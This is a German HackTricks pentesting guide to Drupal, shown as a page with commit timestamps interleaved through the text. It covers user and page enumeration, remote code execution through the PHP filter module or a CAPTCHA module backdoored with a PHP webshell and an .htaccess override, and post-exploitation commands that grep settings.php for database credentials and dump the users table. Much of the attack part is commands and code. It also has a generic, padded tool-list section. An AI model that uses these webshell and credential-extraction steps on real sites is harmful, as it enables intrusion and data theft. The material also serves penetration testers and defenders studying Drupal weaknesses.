hacktricks/network-services-pentesting/pentesting-web/drupal.md

227 lines
12 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Drupal
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:24:39 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 15:36:32 +00:00
## Entdeckung
2022-10-02 23:08:05 +00:00
2024-02-10 15:36:32 +00:00
* Überprüfen Sie **meta**
2022-10-02 23:08:05 +00:00
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
2024-02-10 15:36:32 +00:00
* **Node**: Drupal **indiziert seinen Inhalt mit Knoten**. Ein Knoten kann **alles enthalten**, wie z.B. einen Blogbeitrag, eine Umfrage, einen Artikel usw. Die Seiten-URIs haben normalerweise die Form `/node/<nodeid>`.
2022-10-02 23:08:05 +00:00
```bash
curl drupal-site.com/node/1
```
## Enumeration
2024-02-10 15:36:32 +00:00
Drupal unterstützt standardmäßig **drei Arten von Benutzern**:
2022-10-02 23:08:05 +00:00
2024-02-10 15:36:32 +00:00
1. **`Administrator`**: Dieser Benutzer hat die vollständige Kontrolle über die Drupal-Website.
2. **`Authentifizierter Benutzer`**: Diese Benutzer können sich auf der Website anmelden und je nach Berechtigungen Operationen wie das Hinzufügen und Bearbeiten von Artikeln durchführen.
3. **`Anonym`**: Alle Website-Besucher werden als anonym bezeichnet. Standardmäßig dürfen diese Benutzer nur Beiträge lesen.
2022-10-02 23:08:05 +00:00
### Version
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Überprüfen Sie `/CHANGELOG.txt`
2022-10-02 23:08:05 +00:00
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
2024-02-10 15:36:32 +00:00
Neuere Installationen von Drupal blockieren standardmäßig den Zugriff auf die Dateien `CHANGELOG.txt` und `README.txt`.
2022-10-02 23:08:05 +00:00
{% endhint %}
2024-02-10 15:36:32 +00:00
### Benutzernamen-Enumeration
2022-10-02 23:08:05 +00:00
2024-02-10 15:36:32 +00:00
#### Registrierung
2024-02-10 15:36:32 +00:00
Unter _/user/register_ versuchen Sie einfach, einen Benutzernamen zu erstellen, und wenn der Name bereits vergeben ist, wird dies angezeigt:
![](<../../.gitbook/assets/image (254).png>)
2024-02-10 15:36:32 +00:00
#### Neues Passwort anfordern
2024-02-10 15:36:32 +00:00
Wenn Sie ein neues Passwort für einen vorhandenen Benutzernamen anfordern:
![](<../../.gitbook/assets/image (255).png>)
2024-02-10 15:36:32 +00:00
Wenn Sie ein neues Passwort für einen nicht vorhandenen Benutzernamen anfordern:
![](<../../.gitbook/assets/image (256).png>)
2024-02-10 15:36:32 +00:00
### Anzahl der Benutzer abrufen
2024-02-10 15:36:32 +00:00
Durch den Zugriff auf _/user/\<number>_ können Sie die Anzahl der vorhandenen Benutzer sehen, in diesem Fall sind es 2, da _/users/3_ einen Fehler "nicht gefunden" zurückgibt:
![](<../../.gitbook/assets/image (257).png>)
![](<../../.gitbook/assets/image (227) (1) (1).png>)
2024-02-10 15:36:32 +00:00
### Versteckte Seiten
2024-02-10 15:36:32 +00:00
**Fuzz `/node/$`, wobei `$` eine Zahl ist** (von 1 bis 500 zum Beispiel).\
Sie könnten **versteckte Seiten** (Test, Entwicklung) finden, die von den Suchmaschinen nicht referenziert werden.
2021-09-20 10:57:53 +00:00
2024-02-10 15:36:32 +00:00
#### Installierte Modulinformationen
2021-09-20 10:57:53 +00:00
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
2024-02-10 15:36:32 +00:00
### Automatisch
Automatisierung ist ein wichtiger Aspekt beim Pentesting von Drupal-Webanwendungen. Es gibt verschiedene Tools und Techniken, die Ihnen dabei helfen können, den Prozess effizienter zu gestalten. Hier sind einige Möglichkeiten, wie Sie Automatisierung in Ihre Pentesting-Methodik integrieren können:
#### 1. Scannen auf Schwachstellen
Verwenden Sie automatisierte Schwachstellenscanner wie Burp Suite, OWASP ZAP oder Nessus, um nach bekannten Schwachstellen in der Drupal-Installation zu suchen. Diese Tools können Ihnen helfen, potenzielle Sicherheitslücken wie Cross-Site Scripting (XSS), SQL-Injection und Remote-Code-Ausführung zu identifizieren.
#### 2. Bruteforce-Angriffe
Automatisierte Tools wie Hydra oder Medusa können verwendet werden, um Benutzernamen und Passwörter für Drupal-Administratorkonten zu bruteforcen. Diese Tools können Wörterbuchangriffe oder Brute-Force-Angriffe mit vordefinierten Passwortlisten durchführen.
#### 3. Konfigurationsüberprüfung
Automatisierte Tools wie Droopescan können verwendet werden, um nach unsicheren Konfigurationen in der Drupal-Installation zu suchen. Diese Tools können nach veralteten Versionen, bekannten Sicherheitslücken und unsicheren Einstellungen suchen.
#### 4. Exploit-Frameworks
Verwenden Sie Exploit-Frameworks wie Metasploit oder ExploitDB, um bekannte Schwachstellen in Drupal auszunutzen. Diese Frameworks bieten vorgefertigte Exploits, mit denen Sie Schwachstellen automatisch ausnutzen können.
#### 5. Fuzzing
Fuzzing ist eine Technik, bei der automatisierte Tools zufällige oder gezielte Eingaben in eine Anwendung senden, um Schwachstellen zu identifizieren. Verwenden Sie Tools wie AFL oder Peach Fuzzer, um Drupal auf mögliche Schwachstellen zu testen.
#### 6. Skripting
2021-09-20 10:57:53 +00:00
2024-02-10 15:36:32 +00:00
Verwenden Sie Skriptsprachen wie Python oder Ruby, um automatisierte Tests und Angriffe auf Drupal durchzuführen. Diese Skripte können verwendet werden, um spezifische Schwachstellen zu testen oder benutzerdefinierte Angriffe durchzuführen.
2022-10-02 23:08:05 +00:00
2024-02-10 15:36:32 +00:00
Die Automatisierung kann den Pentesting-Prozess beschleunigen und die Effizienz verbessern. Es ist jedoch wichtig zu beachten, dass automatisierte Tools nicht alle Schwachstellen identifizieren können. Manuelle Überprüfungen und Tests sind immer noch erforderlich, um eine umfassende Sicherheitsbewertung durchzuführen.
2022-10-02 23:08:05 +00:00
```bash
droopescan scan drupal -u http://drupal-site.local
```
## RCE
2024-02-10 15:36:32 +00:00
### Mit dem PHP-Filter-Modul
2022-10-02 23:08:05 +00:00
{% hint style="warning" %}
2024-02-10 15:36:32 +00:00
In älteren Versionen von Drupal **(vor Version 8)** war es möglich, sich als Administrator anzumelden und das `PHP-Filter`-Modul zu aktivieren, das "das Ausführen von eingebettetem PHP-Code/Snippets ermöglicht".
2022-10-02 23:08:05 +00:00
{% endhint %}
2024-02-10 15:36:32 +00:00
Sie müssen das **Plugin PHP installiert haben** (überprüfen Sie dies, indem Sie auf _/modules/php_ zugreifen und wenn es einen **403** zurückgibt, **existiert es**, wenn es **nicht gefunden** wird, ist das **Plugin PHP nicht installiert**).
2024-02-10 15:36:32 +00:00
Gehen Sie zu _Module_ -> (**Überprüfen Sie**) _PHP-Filter_ -> _Konfiguration speichern_
![](<../../.gitbook/assets/image (247) (1).png>)
2024-02-10 15:36:32 +00:00
Klicken Sie dann auf _Inhalt hinzufügen_ -> Wählen Sie _Grundseite_ oder _Artikel_ -> Schreiben Sie _PHP-Shellcode im Body_ -> Wählen Sie _PHP-Code_ im Textformat -> Wählen Sie _Vorschau_
2023-03-04 19:33:37 +00:00
![](<../../.gitbook/assets/image (253) (1).png>)
2024-02-10 15:36:32 +00:00
Greifen Sie schließlich einfach auf den neu erstellten Knoten zu:
2022-10-02 23:08:05 +00:00
```bash
curl http://drupal-site.local/node/3
```
2024-02-10 15:36:32 +00:00
### PHP-Filter-Modul installieren
2022-10-02 23:08:05 +00:00
2024-02-10 15:36:32 +00:00
Ab Version **8** wird das [**PHP-Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **Modul nicht mehr standardmäßig installiert**. Um diese Funktion nutzen zu können, müssen wir das Modul **selbst installieren**.
2022-10-02 23:08:05 +00:00
2024-02-10 15:36:32 +00:00
1. Laden Sie die neueste Version des Moduls von der Drupal-Website herunter.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Sobald der Download abgeschlossen ist, gehen Sie zu **`Administration`** > **`Berichte`** > **`Verfügbare Updates`**.
3. Klicken Sie auf **`Durchsuchen`**, wählen Sie die Datei aus dem Verzeichnis aus, in dem Sie sie heruntergeladen haben, und klicken Sie dann auf **`Installieren`**.
4. Sobald das Modul installiert ist, können wir auf **`Inhalt`** klicken und eine neue Grundseite erstellen, ähnlich wie im Beispiel für Drupal 7. Achten Sie erneut darauf, **`PHP-Code` aus dem Dropdown-Menü `Textformat` auszuwählen**.
2022-10-02 23:08:05 +00:00
2024-02-10 15:36:32 +00:00
### Backdoored-Modul
2022-10-02 23:08:05 +00:00
2024-02-10 15:36:32 +00:00
Ein Backdoored-Modul kann erstellt werden, indem **eine Shell zu einem vorhandenen Modul hinzugefügt wird**. Module können auf der Website drupal.org gefunden werden. Wählen wir ein Modul wie [CAPTCHA](https://www.drupal.org/project/captcha) aus. Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz [Archiv](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
2022-10-02 23:08:05 +00:00
2024-02-10 15:36:32 +00:00
* Laden Sie das Archiv herunter und extrahieren Sie dessen Inhalt.
2022-10-02 23:08:05 +00:00
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
2024-02-10 15:36:32 +00:00
* Erstellen Sie eine **PHP-Webshell** mit dem Inhalt:
2022-10-02 23:08:05 +00:00
```php
<?php
system($_GET["cmd"]);
?>
```
2024-02-10 15:36:32 +00:00
* Als nächstes müssen wir eine **`.htaccess`**-Datei erstellen, um uns Zugriff auf den Ordner zu verschaffen. Dies ist notwendig, da Drupal den direkten Zugriff auf den **`/modules`**-Ordner verweigert.
2022-10-02 23:08:05 +00:00
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
2024-02-10 15:36:32 +00:00
* Die oben genannte Konfiguration wird Regeln für den Ordner / anwenden, wenn wir eine Datei in /modules anfordern. Kopieren Sie beide Dateien in den Ordner captcha und erstellen Sie ein Archiv.
2022-10-02 23:08:05 +00:00
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
2024-02-10 15:36:32 +00:00
* Angenommen, wir haben **administrativen Zugriff** auf die Website, klicken Sie auf **`Verwalten`** und dann auf **`Erweitern`** in der Seitenleiste. Klicken Sie anschließend auf die Schaltfläche **`+ Neues Modul installieren`**, und wir gelangen zur Installationsseite, z. B. `http://drupal-site.local/admin/modules/install`. Navigieren Sie zum mit einer Hintertür versehenen Captcha-Archiv und klicken Sie auf **`Installieren`**.
* Sobald die Installation erfolgreich ist, navigieren Sie zu **`/modules/captcha/shell.php`**, um Befehle auszuführen.
2022-10-02 23:08:05 +00:00
2024-02-10 15:36:32 +00:00
## Nach der Ausnutzung
2021-04-01 21:42:37 +00:00
2024-02-10 15:36:32 +00:00
### Lesen Sie settings.php
```
2021-04-01 21:42:37 +00:00
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
2024-02-10 15:36:32 +00:00
### Benutzer aus der Datenbank extrahieren
Um Benutzer aus der Datenbank zu extrahieren, können Sie die folgenden Schritte befolgen:
1. Identifizieren Sie die Datenbank, die von der Drupal-Installation verwendet wird. Dies kann normalerweise in der Konfigurationsdatei `settings.php` gefunden werden.
2. Stellen Sie eine Verbindung zur Datenbank her, entweder über ein Datenbankverwaltungstool oder über die Befehlszeile.
2021-04-01 21:42:37 +00:00
2024-02-10 15:36:32 +00:00
3. Führen Sie eine Abfrage aus, um die Benutzertabelle abzurufen. In Drupal ist dies normalerweise die Tabelle `users`.
2021-04-01 21:42:37 +00:00
2024-02-10 15:36:32 +00:00
```sql
SELECT * FROM users;
```
Diese Abfrage gibt alle Benutzerdatensätze in der Tabelle zurück.
4. Analysieren Sie die extrahierten Benutzerdaten, um Informationen wie Benutzernamen, E-Mail-Adressen und Passwörter zu erhalten.
Es ist wichtig zu beachten, dass das Extrahieren von Benutzerdaten aus einer Datenbank ohne entsprechende Berechtigungen illegal ist. Stellen Sie sicher, dass Sie die erforderlichen Genehmigungen haben, bevor Sie diese Technik anwenden.
```
2021-04-01 21:42:37 +00:00
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
2024-02-10 15:36:32 +00:00
## Referenzen
2022-10-02 23:08:05 +00:00
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:24:39 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>